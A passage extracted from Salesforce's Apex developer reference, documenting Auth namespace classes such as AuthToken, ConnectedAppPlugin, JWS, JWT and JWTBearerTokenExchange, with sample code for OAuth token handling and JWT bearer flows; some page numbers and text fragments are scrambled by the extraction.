Auth.AuthProviderTokenResponse actualAuthProvResponse =
concurCls.handleCallback(authProviderConfiguration, cbState);
Auth.AuthProviderTokenResponse expectedAuthProvResponse =
new Auth.AuthProviderTokenResponse(
'Concur', OAUTH_TOKEN, REFRESH_TOKEN, null);
System.assertEquals(expectedAuthProvResponse.provider,
actualAuthProvResponse.provider);
System.assertEquals(expectedAuthProvResponse.oauthToken,
actualAuthProvResponse.oauthToken);
System.assertEquals(expectedAuthProvResponse.oauthSecretOrRefreshToken,
actualAuthProvResponse.oauthSecretOrRefreshToken);
System.assertEquals(expectedAuthProvResponse.state,
actualAuthProvResponse.state);
static testMethod void testGetUserInfo()

{
Map<String,String> authProviderConfiguration =
setupAuthProviderConfig();
Test.setMock(HttpCalloutMock.class, new
ConcurMockHttpResponseGenerator());
Auth.AuthProviderTokenResponse response =
new Auth.AuthProviderTokenResponse(
PROVIDER, OAUTH_TOKEN ,'sampleOauthSecret', STATE);
Auth.UserData actualUserData = concurCls.getUserInfo(
authProviderConfiguration, response) ;

Auth.UserData expectedUserData = new Auth.UserData(LOGIN_ID,

FIRST_NAME, LAST_NAME, FULL_NAME, EMAIL_ADDRESS,
null, LOCALE_NAME, null, PROVIDER, null, provMap);
System.assertNotEquals(expectedUserData,null);
System.assertEquals(expectedUserData.firstName,
actualUserData.firstName);
System.assertEquals(expectedUserData.lastName,
actualUserData.lastName);
System.assertEquals(expectedUserData.fullName,
actualUserData.fullName);
701
System.assertEquals(expectedUserData.email,
actualUserData.email);
System.assertEquals(expectedUserData.username,
actualUserData.username);
System.assertEquals(expectedUserData.locale,
actualUserData.locale);
System.assertEquals(expectedUserData.provider,
actualUserData.provider);
System.assertEquals(expectedUserData.siteLoginUrl,
actualUserData.siteLoginUrl);
}
// Implement a mock http response generator for Concur.

public class ConcurMockHttpResponseGenerator implements HttpCalloutMock
{
public HTTPResponse respond(HTTPRequest req)
{
String namespace = API_USER_VERSION_URL;
String prefix = 'mockPrefix';

Dom.XmlNode xmlNode = doc.createRootElement(
'mockRootNodeName', namespace, prefix);
xmlNode.addChildElement('LoginId', namespace, prefix)
.addTextNode(LOGIN_ID);
xmlNode.addChildElement('FirstName', namespace, prefix)
.addTextNode(FIRST_NAME);
xmlNode.addChildElement('LastName', namespace, prefix)
.addTextNode(LAST_NAME);
xmlNode.addChildElement('EmailAddress', namespace, prefix)
.addTextNode(EMAIL_ADDRESS);
xmlNode.addChildElement('LocaleName', namespace, prefix)
.addTextNode(LOCALE_NAME);
xmlNode.addChildElement('Token', null, null)
.addTextNode(OAUTH_TOKEN);
res.setHeader('Content-Type', 'application/xml');
res.setBody(doc.toXmlString());
return res;
}
}
}
AuthProviderTokenResponse Class
Stores the response from the AuthProviderPlugin.handleCallback method.
702
Namespace
Auth
IN THIS SECTION:
AuthProviderTokenResponse Constructors
AuthProviderTokenResponse Properties
AuthProviderTokenResponse Constructors
The following are constructors for AuthProviderTokenResponse.
IN THIS SECTION:
AuthProviderTokenResponse(provider, oauthToken, oauthSecretOrRefreshToken, state)
Creates an instance of the AuthProviderTokenResponse class using the specified authentication provider, OAuth access
token, OAuth secret or refresh token, and state for a custom authentication provider plug-in.
AuthProviderTokenResponse(provider, oauthToken, oauthSecretOrRefreshToken, state)

Creates an instance of the AuthProviderTokenResponse class using the specified authentication provider, OAuth access token,
OAuth secret or refresh token, and state for a custom authentication provider plug-in.
Signature
public AuthProviderTokenResponse(String provider, String oauthToken, String
oauthSecretOrRefreshToken, String state)
Parameters
provider
Type: String
The custom authentication provider.
oauthToken
Type: String
The OAuth access token.
oauthSecretOrRefreshToken
Type: String
The OAuth secret or refresh token for the currently logged-in user.
state
Type: String
AuthProviderTokenResponse Properties
The following are properties for AuthProviderTokenResponse.
703
IN THIS SECTION:
oauthToken
provider
The authentication provider.
state
Signature
public String oauthSecretOrRefreshToken {get; set;}
Property Value
Type: String
oauthToken
Signature
public String oauthToken {get; set;}
Property Value
Type: String
provider
The authentication provider.
Signature
public String provider {get; set;}
Property Value
Type: String
state
704
Signature
public String state {get; set;}
Property Value
Type: String
AuthToken Class
Contains methods for providing the access token associated with an authentication provider for an authenticated user, except for the
Janrain provider.
Namespace
Auth
AuthToken Methods
The following are methods for AuthToken. All methods are static.
IN THIS SECTION:
getAccessToken(authProviderId, providerName)
Returns an access token for the current user using the specified 18-character identifier of an AuthProvider definition in your org and
the proper name of the third party, such as Salesforce or Facebook. Note that querying the ProviderType field on the AuthProvider
object sometimes returns a value that differs from the expected provider name value. For example, for Open ID Connect providers,
OpenIdConnect is the ProviderType value for the AuthProvider object, but the expected providerName is Open
ID Connect.
getAccessTokenMap(authProviderId, providerName)
Returns a map from the third-party identifier to the access token for the currently logged-in Salesforce user. The identifier value
depends on the third party. For example, for Salesforce it would be the user ID, while for Facebook it would be the user number.
Note that querying the ProviderType field on the AuthProvider object sometimes returns a value that differs from the expected
provider name value. For example, for Open ID Connect providers, OpenIdConnect is the ProviderType value for the
AuthProvider object, but the expected providerName is Open ID Connect.
refreshAccessToken(authProviderId, providerName, oldAccessToken)
Returns a map from the third-party identifier containing a refreshed access token for the currently logged-in Salesforce user. Note
that querying the ProviderType field on the AuthProvider object sometimes returns a value that differs from the expected
provider name value. For example, for Open ID Connect providers, OpenIdConnect is the ProviderType value for the
AuthProvider object, but the expected providerName is Open ID Connect.
revokeAccess(authProviderId, providerName, userId, remoteIdentifier)
Revokes the access token for a specified social sign-on user from a third-party service such as Facebook©. Note that querying the
ProviderType field on the AuthProvider object sometimes returns a value that differs from the expected provider name value.
For example, for Open ID Connect providers, OpenIdConnect is the ProviderType value for the AuthProvider object, but
the expected providerName is Open ID Connect.
705
getAccessToken(authProviderId, providerName)
Returns an access token for the current user using the specified 18-character identifier of an AuthProvider definition in your org and the
proper name of the third party, such as Salesforce or Facebook. Note that querying the ProviderType field on the AuthProvider
object sometimes returns a value that differs from the expected provider name value. For example, for Open ID Connect providers,
OpenIdConnect is the ProviderType value for the AuthProvider object, but the expected providerName is Open ID
Connect.
Signature
public static String getAccessToken(String authProviderId, String providerName)
Parameters
authProviderId
Type: String
providerName
Type: String
The proper name of the third party. For all providers except Janrain, the expected values are
• Facebook
• Salesforce
• Open ID Connect
• Microsoft Access Control Service
• LinkedIn
• Twitter
• Google
For Janrain providers, the parameter value is the proper name of the third party used. Yahoo! is an example of a Janrain provider
value.
Return Value
Type: String
getAccessTokenMap(authProviderId, providerName)
Returns a map from the third-party identifier to the access token for the currently logged-in Salesforce user. The identifier value depends
on the third party. For example, for Salesforce it would be the user ID, while for Facebook it would be the user number. Note that querying
the ProviderType field on the AuthProvider object sometimes returns a value that differs from the expected provider name value.
For example, for Open ID Connect providers, OpenIdConnect is the ProviderType value for the AuthProvider object, but the
expected providerName is Open ID Connect.
Signature
public static Map<String, String> getAccessTokenMap(String authProviderId, String
providerName)
706
Parameters
authProviderId
Type: String
providerName
Type: String
• Facebook
• Salesforce
• Open ID Connect
• LinkedIn
• Twitter
• Google
value.
Return Value
Type: Map<String, String>
refreshAccessToken(authProviderId, providerName, oldAccessToken)

Returns a map from the third-party identifier containing a refreshed access token for the currently logged-in Salesforce user. Note that
querying the ProviderType field on the AuthProvider object sometimes returns a value that differs from the expected provider
name value. For example, for Open ID Connect providers, OpenIdConnect is the ProviderType value for the AuthProvider
object, but the expected providerName is Open ID Connect.
Signature
public static Map<String, String> refreshAccessToken(String authProviderId, String
providerName, String oldAccessToken)
Parameters
authProviderId
Type: String
providerName
Type: String
• Facebook
• Salesforce
• Open ID Connect
• LinkedIn
707
• Twitter
• Google
value.
oldAccessToken
Type: String
Return Value
Usage
This method works when using Salesforce or an OpenID Connect provider, but not when using Facebook or Janrain. The returned map
contains AccessToken and RefreshError keys. Evaluate the keys in the response to check if the request was successful. For a
successful request, the RefreshError value is null, and AccessToken is a token value. For an unsuccessful request, the
RefreshError value is an error message, and the AccessToken value is null.
When successful, this method updates the token stored in the database, which you can get using
Auth.AuthToken.getAccessToken().
If you are using an OpenID Connect authentication provider, an id_token is not required in the response from the provider. If a
Token Issuer is specified in the Auth. Provider settings and an id_token is provided anyway, Salesforce will verify it.
Example
String accessToken = Auth.AuthToken.getAccessToken('0SOD000000000De', 'Open ID connect');
Map<String, String> responseMap = Auth.AuthToken.refreshAccessToken('0SOD000000000De',
'Open ID connect', accessToken);
A successful request includes the access token in the response.

(RefreshError,null)(AccessToken,00DD00000007BhE!AQkAQFzj...)
revokeAccess(authProviderId, providerName, userId, remoteIdentifier)

Revokes the access token for a specified social sign-on user from a third-party service such as Facebook©. Note that querying the
ProviderType field on the AuthProvider object sometimes returns a value that differs from the expected provider name value. For
example, for Open ID Connect providers, OpenIdConnect is the ProviderType value for the AuthProvider object, but the
expected providerName is Open ID Connect.
Signature
public static Boolean revokeAccess(String authProviderId, String providerName, String
userId, String remoteIdentifier)
Parameters
authProviderId
Type: String
The ID of the Auth. Provider in the Salesforce organization.
708
providerName
Type: String
• Facebook
• Salesforce
• Open ID Connect
• LinkedIn
• Twitter
• Google
value.
userId
Type: String
The 15-character ID for the user whose access is being revoked.
remoteIdentifier
Type: String
The unique ID for the user in the third-party system (this value is in the associated ThirdPartyAccountLink standard object).
Return Value
Type: Boolean
The return value is true if the revokeAccess() operation is successful; otherwise false.
Example
The following example revokes a Facebook user's access token.
Auth.AuthToken.revokeAccess('0SOxx00000#####', 'facebook', '005xx00000#####',
'ThirdPartyIdentifier_exist214176560#####');
CommunitiesUtil Class
Contains methods for getting information about a community user.
Namespace
Auth
Example
The following example directs a guest (unauthenticated) user to one page, and authenticated users of the community’s parent organization
to another page.
if (Auth.CommunitiesUtil.isGuestUser())
// Redirect to the login page if user is an unauthenticated user
709
return new PageReference(LOGIN_URL);
if (Auth.CommunitiesUtil.isInternalUser())
// Redirect to the home page if user is an internal user
return new PageReference(HOME_URL);
CommunitiesUtil Methods
The following are methods for CommunitiesUtil. All methods are static.
IN THIS SECTION:
getLogoutUrl()
Returns the page to display after the current community user logs out.
getUserDisplayName()
Returns the current user’s community display name.
isGuestUser()
Indicates whether the current user isn’t logged in to the community and may need to be redirected to log in, if required.
isInternalUser()
Indicates whether the current user is logged in as a member of the parent Salesforce organization, such as an employee.
getLogoutUrl()
Returns the page to display after the current community user logs out.
Signature
public static String getLogoutUrl()
Return Value
Type: String
getUserDisplayName()
Returns the current user’s community display name.
Signature
public static String getUserDisplayName()
Return Value
Type: String
isGuestUser()
Indicates whether the current user isn’t logged in to the community and may need to be redirected to log in, if required.
710
Signature
public static Boolean isGuestUser()
Return Value
Type: Boolean
isInternalUser()
Indicates whether the current user is logged in as a member of the parent Salesforce organization, such as an employee.
Signature
public static Boolean isInternalUser()
Return Value
Type: Boolean
ConnectedAppPlugin Class
Contains methods for extending the behavior of a connected app, for example, customizing how a connected app is invoked depending
on the protocol used. This class gives you more control over the interaction between Salesforce and your connected app.
Namespace
Auth
Usage
The class runs on behalf of the current user of the connected app. This user must have permission to use the connected app for the
plug-in to work.
Example
This example gives the user permission to use the connected app if the context is SAML and the user has reached the quota tracked in
a custom field. It returns the user’s permission set assignments. The example uses InvocationContext to modify a SAML assertion
before it’s sent to the service provider.
global class ConnectedAppPluginExample extends Auth.ConnectedAppPlugin{
// Authorize the app if the user has achieved quota tracked in a custom field
global override boolean authorize(Id userId, Id connectedAppId, boolean
isAdminApproved) {
// Create a custom boolean field HasAchievedQuota__c on the user record
// and then uncomment the block below
// User u = [select id, HasAchievedQuota__c from User where id =: userId].get(0);
// return u.HasAchievedQuota__c;
711
return isAdminApproved;
}
// Call a flow during refresh

global override void refresh(Id userId, Id connectedAppId) {
try
{
Map<String, Object> inputVariables = new Map<String, Object>();
inputVariables.put('userId', userId);
inputVariables.put('connectedAppId', connectedAppId);
// Create a custom trigger ready flow and uncomment the block below
// Flow.Interview.MyCustomFlow interview = new

Flow.Interview.MyCustomFlow(inputVariables);
// interview.start();
} catch ( Exception e ) {
System.debug('FLOW Exception:' + e);
}
// Return a user’s permission set assignments

global override Map<String,String> customAttributes(Id userId, Map<String,String>
formulaDefinedAttributes)
{
List<PermissionSetAssignment> psas = [SELECT id, PermissionSet.Name FROM
PermissionSetAssignment
WHERE PermissionSet.IsOwnedByProfile = false AND (AssigneeId = :userId)];
String permsets = '[';
for (PermissionSetAssignment psa :psas)
{
permsets += psa.PermissionSet.Name + ';';
}
permsets += ']';
formulaDefinedAttributes.put('PermissionSets', permsets);
return formulaDefinedAttributes;
IN THIS SECTION:
ConnectedAppPlugin Methods
ConnectedAppPlugin Methods
The following are methods for ConnectedAppPlugin.
712
IN THIS SECTION:
authorize(userId, connectedAppId, isAdminApproved)
Deprecated and available only in API versions 35.0 and 36.0. As of version 37.0, use authorize(userId, connectedAppId,
isAdminApproved, context) instead.
authorize(userId, connectedAppId, isAdminApproved, context)
Authorizes the specified user for the connected app. If the connected app is set for users to self-authorize, this call isn’t necessary.
customAttributes(userId, connectedAppId, formulaDefinedAttributes)
Deprecated and available only in API versions 35.0 and 36.0. As of version 37.0, use customAttributes(userId,
connectedAppId, formulaDefinedAttributes, context) instead.
customAttributes(userId, connectedAppId, formulaDefinedAttributes, context)
Sets new attributes for the specified user. When the connected app gets the user’s attributes from the UserInfo endpoint or through
a SAML assertion, use this method to update the attribute values.
modifySAMLResponse(authSession, connectedAppId, samlResponse)
Modifies the XML generated by the Salesforce SAML Identity Provider (IDP) before it’s sent to the service provider.
refresh(userId, connectedAppId)
Deprecated and available only in API versions 35.0 and 36.0. As of version 37.0, use refresh(userId, connectedAppId,
context) instead.
refresh(userId, connectedAppId, context)
Salesforce calls this method during a refresh token exchange.
authorize(userId, connectedAppId, isAdminApproved)

Deprecated and available only in API versions 35.0 and 36.0. As of version 37.0, use authorize(userId, connectedAppId,
isAdminApproved, context) instead.
Signature
public Boolean authorize(Id userId, Id connectedAppId, Boolean isAdminApproved)
Parameters
userId
Type: Id
The 15-character ID of the user attempting to use the connected app.
connectedAppId
Type: String
The 15-character ID of the connected app.
isAdminApproved
Type: Boolean
The approval state of the specified user when the connected app requires approval.
Return Value
Type: Boolean
713
If the connected app requires admin approval, a returned value of true indicates that the current user is approved.
authorize(userId, connectedAppId, isAdminApproved, context)

Authorizes the specified user for the connected app. If the connected app is set for users to self-authorize, this call isn’t necessary.
Signature
public Boolean authorize(Id userId, Id connectedAppId, Boolean isAdminApproved,
Auth.InvocationContext context)
Parameters
userId
Type: Id
connectedAppId
Type: Id
isAdminApproved
Type: Boolean
The approval state of the specified user when the connected app requires approval.
context
Type: InvocationContext
The context in which the connected app is invoked.
Return Value
Type: Boolean
If the connected app requires admin approval, a returned value of true indicates that the user is approved.
customAttributes(userId, connectedAppId, formulaDefinedAttributes)

Deprecated and available only in API versions 35.0 and 36.0. As of version 37.0, use customAttributes(userId,
connectedAppId, formulaDefinedAttributes, context) instead.
Signature
public Map<String,String> customAttributes(Id userId, Id connectedAppId,
Map<String,String> formulaDefinedAttributes,)
Parameters
userId
Type: Id
714
connectedAppId
Type: Id
formulaDefinedAttributes
A map of the new set of attributes from the UserInfo endpoint (OAuth) or from a SAML assertion. For more information, see The
UserInfo Endpoint in the online help.
Return Value
A map of the updated set of attributes.
customAttributes(userId, connectedAppId, formulaDefinedAttributes, context)

Sets new attributes for the specified user. When the connected app gets the user’s attributes from the UserInfo endpoint or through a
SAML assertion, use this method to update the attribute values.
Signature
public Map<String,String> customAttributes(Id userId, Id connectedAppId,
Map<String,String> formulaDefinedAttributes, Auth.InvocationContext context)
Parameters
userId
Type: Id
connectedAppId
Type: Id
The 15-character ID for the connected app.
formulaDefinedAttributes
A map of the current set of attributes from the UserInfo endpoint (OAuth) or from a SAML assertion. For more information, see The
UserInfo Endpoint in the online help.
Return Value
A map of the updated set of attributes.
modifySAMLResponse(authSession, connectedAppId, samlResponse)

Modifies the XML generated by the Salesforce SAML Identity Provider (IDP) before it’s sent to the service provider.
715
Signature
public dom.XmlNode modifySAMLResponse(Map<String,String> authSession, Id connectedAppId,
dom.XmlNode samlResponse)
Parameters
authSession
The attributes for the authorized user’s session. The map includes the 15-character ID of the authorized user who’s accessing the
connected app.
connectedAppId
Type: Id
samlResponse
Type: Dom.XmlNode
Contains the SAML XML response generated by the IDP.
Return Value
Type: Dom.XmlNode
Returns an instance of Dom.XmlNode containing the modified SAML XML response.
Usage
Use this method to modify the XML SAML response to perform an action based on the context of the SAML request before it’s verified,
signed, and sent to the target service provider. This method enables developers to extend the connected app plug-in to meet their
specific needs.
The developer assumes full responsibility for changes made within the connected app plug-in. The plug-in must include validation and
error handling. If the plug-in throws an exception, catch it, log it, and stop the process. Don’t send anything to the target service provider.
refresh(userId, connectedAppId)
Deprecated and available only in API versions 35.0 and 36.0. As of version 37.0, use refresh(userId, connectedAppId,
context) instead.
Signature
public void refresh(Id userId, Id connectedAppId)
Parameters
userId
Type: Id
The 15-character ID of the user requesting the refresh token.
connectedAppId
Type: Id
716
Return Value
Type: void
refresh(userId, connectedAppId, context)

Salesforce calls this method during a refresh token exchange.
Signature
public void refresh(Id userId, Id connectedAppId, Auth.InvocationContext context)
Parameters
userId
Type: Id
The 15-character ID of the user requesting the refresh token.
connectedAppId
Type: Id
context
Return Value
Type: void
InvocationContext Enum
The context in which the connected app is invoked, such as the protocol flow used and the token type issued, if any. Developers can
use the context information to write code that is unique to the type of invocation.
Enum Values
The following are the values of the Auth.InvocationContext enum.
Value Description
ASSET_TOKEN Reserved for future use.
OAUTH1 Context used when authentication is through an OAuth 1.0A flow.
OAUTH2_JWT_BEARER_TOKEN Context used when authentication is through a JSON-based Web Token (JWT)
bearer token flow.
OAUTH2_SAML_ASSERTION Context used when authentication is through an OAuth 2.0 SAML assertion flow.
717
Value Description
OAUTH2_SAML_BEARER_ASSERTION Context used when authentication is through an OAuth 2.0 SAML bearer assertion
flow.
OAUTH2_USERNAME_PASSWORD Context used when authentication is through an OAuth 2.0 username-password

flow.
OAUTH2_USER_AGENT_ID_TOKEN Context used when issuing an ID token through an OAuth 2.0 user-agent flow.
OAUTH2_USER_AGENT_TOKEN Context used when authentication is through an OAuth 2.0 user agent flow.
OAUTH2_WEB_SERVER Context used when authentication is through a web server authentication flow.
OPENIDCONNECT Context used when authentication is through an OpenID Connect authentication

flow.
REFRESH_TOKEN Context used when renewing tokens issued by a web server or user-agent flow.
SAML_ASSERTION Context used when authentication is through a SAML assertion flow.
UNKNOWN Context is unknown.
USERID_ENDPOINT Context used when issuing an access token through a UserInfo endpoint.
SEE ALSO:
Salesforce Help: Authenticating Apps with OAuth
JWS Class
Contains methods that apply a digital signature to a JSON Web Token (JWT), using a JSON Web Signature (JWS) data structure. This class
creates the signed JWT bearer token, which can be used to request an OAuth access token in the OAuth 2.0 JWT bearer token flow.
Namespace
Auth
Usage
Use the methods in this class to sign the JWT bearer token with the X509 certificate.
IN THIS SECTION:
JWS Constructors
JWS Methods
JWS Constructors
The following are constructors for JWS.
718
IN THIS SECTION:
JWS(jwt, certDevName)
Creates an instance of the JWS class using the specified Auth.JWT payload and the certificate used for signing the JWT bearer
token.
JWS(payload, certDevName)
Creates an instance of the JWS class using the specified payload and certificate used for signing the JWT bearer token.
JWS(jwt, certDevName)
Creates an instance of the JWS class using the specified Auth.JWT payload and the certificate used for signing the JWT bearer token.
Signature
public JWS(Auth.JWT jwt, String certDevName)
Parameters
jwt
Type: Auth.JWT
The Base64-encoded JSON Claims Set in the JWT bearer token generated by Auth.JWT.
certDevName
Type: String
The Unique Name for a certificate stored in the Salesforce org’s Certificate and Key Management page to use for signing the
JWT bearer token.
Usage
Calls the toJSONString() method in Auth.JWT and sets the resulting string as the payload of the JWT bearer token. Alternatively,
you can specify the payload directly using JWS(payload, certDevName).
JWS(payload, certDevName)
Creates an instance of the JWS class using the specified payload and certificate used for signing the JWT bearer token.
Signature
public JWS(String payload, String certDevName)
Parameters
payload
Type: String
The Base64-encoded JSON Claims Set in the JWT bearer token.
certDevName
Type: String
The Unique Name for a certificate stored in the Salesforce org’s Certificate and Key Management page to use for signing the
JWT bearer token.
719
Usage
Sets the payload string as the payload of the JWT bearer token. Alternatively, if you generate the payload using Auth.JWT, you
can use JWS(jwt, certDevName) instead.
JWS Methods
The following are methods for JWS. All are instance methods.
IN THIS SECTION:
clone()
Makes a duplicate copy of the JWS object.
getCompactSerialization()
Returns the compact serialization representation of the JWS as a concatenated string, with the encoded JWS header, encoded JWS
payload, and encoded JWS signature strings separated by period ('.') characters.
clone()
Makes a duplicate copy of the JWS object.
Signature
public Object clone()
Return Value
Type: JWS
getCompactSerialization()
Returns the compact serialization representation of the JWS as a concatenated string, with the encoded JWS header, encoded JWS
payload, and encoded JWS signature strings separated by period ('.') characters.
Signature
public String getCompactSerialization()
Return Value
Type: String
JWT Class
Generates the JSON Claims Set in a JSON Web Token (JWT). The resulting Base64-encoded payload can be passed as an argument to
create an instance of the Auth.JWS class.
Namespace
Auth
720
Usage
Use the methods in this class to generate the payload in a JWT bearer token.
IN THIS SECTION:
JWT Methods
JWT Methods
The following are methods for JWT. All are instance methods.
IN THIS SECTION:
clone()
Makes a duplicate copy of the JWT object.
getAdditionalClaims()
Returns a map of additional claims in the JWT, where the key string contains the name of the claim, and the value contains the value
of the claim.
getAud()
Returns the audience claim that identifies the intended recipients of the JWT.
getIss()
Returns the issuer claim that identifies the issuer of the JWT.
getNbfClockSkew()
Returns the not before claim that identifies the time before which the JWT must not be accepted for processing, while allowing
some leeway for clock skew.
getSub()
Returns the subject claim that identifies the current user of the JWT.
getValidityLength()
Returns the length of time that the JWT is valid, which affects the expiration claim.
setAdditionalClaims(additionalClaims)
Sets the additional claims in the JWT. Returned by the getAdditionalClaims() method.
setAud(aud)
Sets the audience claim in the JWT. Returned by the getAud() method.
setIss(iss)
Sets the issuer claim in the JWT. Returned by the getIss() method.
setNbfClockSkew(nbfClockSkew)
Sets the not before claim in the JWT. Returned by the getNbfClockSkew() method.
setSub(sub)
Sets the subject claim in the JWT. Returned by the getSub() method.
setValidityLength(validityLength)
Sets the length of time that the JWT is valid, which affects the expiration claim. Returned by the getValidityLength()
method.
721
toJSONString()
Generates the JSON object representation of the Claims Set as an encoded JWT payload.
clone()
Makes a duplicate copy of the JWT object.
Signature
Return Value
Type: JWT
getAdditionalClaims()
Returns a map of additional claims in the JWT, where the key string contains the name of the claim, and the value contains the value of
the claim.
Signature
public Map<String,ANY> getAdditionalClaims()
Return Value
Type: Map<String,ANY>
getAud()
Returns the audience claim that identifies the intended recipients of the JWT.
Signature
public String getAud()
Return Value
Type: String
getIss()
Returns the issuer claim that identifies the issuer of the JWT.
Signature
public String getIss()
Return Value
Type: String
722
getNbfClockSkew()
Returns the not before claim that identifies the time before which the JWT must not be accepted for processing, while allowing some
leeway for clock skew.
Signature
public Integer getNbfClockSkew()
Return Value
Type: Integer
getSub()
Returns the subject claim that identifies the current user of the JWT.
Signature
public String getSub()
Return Value
Type: String
getValidityLength()
Returns the length of time that the JWT is valid, which affects the expiration claim.
Signature
public Integer getValidityLength()
Return Value
Type: Integer
setAdditionalClaims(additionalClaims)
Sets the additional claims in the JWT. Returned by the getAdditionalClaims() method.
Signature
public void setAdditionalClaims(Map<String,ANY> additionalClaims)
Parameters
additionalClaims
Type: Map<String,ANY>
723
Return Value
Type: void
Usage
Additional claims must not include any standard claims.
setAud(aud)
Sets the audience claim in the JWT. Returned by the getAud() method.
Signature
public void setAud(String aud)
Parameters
aud
Type: String
Return Value
Type: void
setIss(iss)
Sets the issuer claim in the JWT. Returned by the getIss() method.
Signature
public void setIss(String iss)
Parameters
iss
Type: String
Return Value
Type: void
setNbfClockSkew(nbfClockSkew)
Sets the not before claim in the JWT. Returned by the getNbfClockSkew() method.
Signature
public void setNbfClockSkew(Integer nbfClockSkew)
724
Parameters
nbfClockSkew
Type: Integer
Return Value
Type: void
setSub(sub)
Sets the subject claim in the JWT. Returned by the getSub() method.
Signature
public void setSub(String sub)
Parameters
sub
Type: String
Return Value
Type: void
setValidityLength(validityLength)
Sets the length of time that the JWT is valid, which affects the expiration claim. Returned by the getValidityLength() method.
Signature
public void setValidityLength(Integer validityLength)
Parameters
validityLength
Type: Integer
Return Value
Type: void
toJSONString()
Generates the JSON object representation of the Claims Set as an encoded JWT payload.
Signature
public String toJSONString()
725
Return Value
Type: String
JWTBearerTokenExchange Class
Contains methods that POST the signed JWT bearer token to a token endpoint to request an access token, in the OAuth 2.0 JWT bearer
token flow.
Namespace
Auth
Usage
Use the methods in this class to post a signed JWT bearer token to the OAuth token endpoint, in exchange for an access token.
Example
In the following example application, the Apex controller:
1. Creates the JSON Claims Set.
2. Specifies the scope of the request with additional claims.
3. Creates the signed JWT.
4. Specifies the token endpoint and POSTs to it.
5. Gets the access token from the HTTP response.
public class MyController{
public MyController() {
Auth.JWT jwt = new Auth.JWT();
jwt.setSub('user@salesforce.com');
jwt.setAud('https://login.salesforce.com');
jwt.setIss('3MVG99OxTyEMCQ3gNp2PjkqeZKxnmAiG1xV4oHh9AKL_rSK.BoSVPGZHQ
ukXnVjzRgSuQqGn75NL7yfkQcyy7');
//Additional claims to set scope

Map<String, Object> claims = new Map<String, Object>();
claims.put('scope', 'scope name');
jwt.setAdditionalClaims(claims);
//Create the object that signs the JWT bearer token

Auth.JWS jws = new Auth.JWS(jwt, 'CertFromCertKeyManagement');
//Get the resulting JWS in case debugging is required

String token = jws.getCompactSerialization();
//Set the token endpoint that the JWT bearer token is posted to
String tokenEndpoint = 'https://login.salesforce.com/services/oauth2/token';
726
//POST the JWT bearer token

Auth.JWTBearerTokenExchange bearer = new Auth.JWTBearerTokenExchange(tokenEndpoint,
jws);
//Get the access token

String accessToken = bearer.getAccessToken();
}
}
IN THIS SECTION:
JWTBearerTokenExchange Constructors
JWTBearerTokenExchange Methods
JWTBearerTokenExchange Constructors
The following are constructors for JWTBearerTokenExchange.
IN THIS SECTION:
JWTBearerTokenExchange(tokenEndpoint, jws)
Creates an instance of the JWTBearerTokenExchange class using the specified token endpoint and the signed JWT bearer
token.
JWTBearerTokenExchange()
Creates an instance of the Auth.JWTBearerTokenExchange class.
JWTBearerTokenExchange(tokenEndpoint, jws)
Creates an instance of the JWTBearerTokenExchange class using the specified token endpoint and the signed JWT bearer token.
Signature
public JWTBearerTokenExchange(String tokenEndpoint, Auth.JWS jws)
Parameters
tokenEndpoint
Type: String
The token endpoint that the signed JWT bearer token is POSTed to.
jws
Type: Auth.JWS
The signed JWT bearer token.
JWTBearerTokenExchange()
Creates an instance of the Auth.JWTBearerTokenExchange class.
727
Signature
public JWTBearerTokenExchange()
JWTBearerTokenExchange Methods
The following are methods for JWTBearerTokenExchange. All are instance methods.
IN THIS SECTION:
clone()
Makes a duplicate copy of the JWTBearerTokenExchange object.
getAccessToken()
Returns the access_token in the token response to the JWT bearer token request.
getGrantType()
Returns the grant type specified in the JWT bearer token request. The grant type value defaults to
urn:ietf:params:oauth:grant-type:jwt-bearer.
getHttpResponse()
Returns the full System.HttpResponse token response to the JWT bearer token request.
getJWS()
Returns the JWS specified in the JWT bearer token request.
getTokenEndpoint()
Returns the token endpoint that the JWT bearer token request is POSTed to.
setGrantType(grantType)
Sets the grant type in the JWT bearer token request. Returned by the getGrantType() method.
setJWS(jws)
Sets the JWS in the JWT bearer token request. Returned by the getJWS() method.
setTokenEndpoint(tokenEndpoint)
Sets the token endpoint that the JWT bearer token request is POSTed to. Returned by the getTokenEndpoint() method.
clone()
Makes a duplicate copy of the JWTBearerTokenExchange object.
Signature
Return Value
Type: JWTBearerTokenExchange
getAccessToken()
Returns the access_token in the token response to the JWT bearer token request.
728
Signature
public String getAccessToken()
Return Value
Type: String
Usage
This method extracts the access_token from the token response. If the token response issues the access token in a different
parameter, the request fails.
If you want the full HTTP token response returned, use getHttpResponse instead.
getGrantType()
Returns the grant type specified in the JWT bearer token request. The grant type value defaults to
urn:ietf:params:oauth:grant-type:jwt-bearer.
Signature
public String getGrantType()
Return Value
Type: String
getHttpResponse()
Returns the full System.HttpResponse token response to the JWT bearer token request.
Signature
public System.HttpResponse getHttpResponse()
Return Value
Type: System.HttpResponse
Usage
You can get the access token from the full System.HttpResponse. If you want only the access_token from the token
response, you can use getAccessToken instead.
getJWS()
Returns the JWS specified in the JWT bearer token request.
Signature
public Auth.JWS getJWS()
729
Return Value
Type: Auth.JWS
getTokenEndpoint()
Returns the token endpoint that the JWT bearer token request is POSTed to.
Signature
public String getTokenEndpoint()
Return Value
Type: String
setGrantType(grantType)
Sets the grant type in the JWT bearer token request. Returned by the getGrantType() method.
Signature
public void setGrantType(String grantType)
Parameters
grantType
Type: String
Return Value
Type: void
setJWS(jws)
Sets the JWS in the JWT bearer token request. Returned by the getJWS() method.
Signature
public void setJWS(Auth.JWS jws)
Parameters
jws
Type: Auth.JWS
Return Value
Type: void
730
setTokenEndpoint(tokenEndpoint)
Sets the token endpoint that the JWT bearer token request is POSTed to. Returned by the getTokenEndpoint() method.
Signature
public void setTokenEndpoint(String tokenEndpoint)
Parameters
tokenEndpoint
Type: String
Return Value
Type: void
OAuthRefreshResult Class
Stores the result of an AuthProviderPluginClass refresh method. OAuth authentication flow provides a refresh token that
can be used to get a new access token. Access tokens have a limited lifetime as specified by the session timeout value. When an access
token expires, use a refresh token to get a new access token.
Namespace
Auth
Usage
The OAuthRefreshResult class contains the parameters, accessToken, refreshToken, and error, all of which are of
type string. For a code example, see Auth Exceptions.
IN THIS SECTION:
OAuthRefreshResult Constructors
OAuthRefreshResult Properties
OAuthRefreshResult Constructors
The following are constructors for OAuthRefreshResult.
IN THIS SECTION:
OAuthRefreshResult(accessToken, refreshToken, error)
Creates an instance of the OAuthRefreshResult class using the specified access token, refresh token, and error for a custom
authentication provider plug-in.
OAuthRefreshResult(accessToken, refreshToken)
